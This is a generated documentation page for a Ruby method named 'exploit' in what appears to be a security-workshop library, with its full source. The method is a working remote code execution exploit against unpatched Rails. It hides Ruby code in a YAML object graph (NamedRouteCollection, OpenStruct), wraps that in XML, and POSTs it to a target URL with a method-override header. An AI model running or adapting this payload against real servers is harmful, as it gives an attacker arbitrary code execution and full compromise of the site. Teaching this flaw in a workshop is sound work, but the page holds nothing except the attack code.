class HBS::SecurityWorkshop::UnpatchedRailsRCE

Public Instance Methods

exploit(url,code) click to toggle source
# File lib/hbs/security_workshop/unpatched_rails_rce.rb, line 13
    def exploit(url,code)
      escaped_code = "foo; #{code}\n__END__\n"
       
yaml = %{
--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
? #{escaped_code.to_yaml.sub('--- ','').chomp}
: !ruby/object:OpenStruct
  table:
    :defaults:
      :action: create
      :controller: foos
    :required_parts: []
    :requirements:
      :action: create
      :controller: foos
    :segment_keys:
    - :format
  modifiable: true
}.strip
       
xml = %{

<exploit type="yaml">#{yaml}</exploit>
}.strip
       
       
      http_post(
        :url       => url,
        :headers   => {
          :content_type           => 'text/xml',
          :x_http_method_override => 'get'
        },
        :body      => xml
      )
    end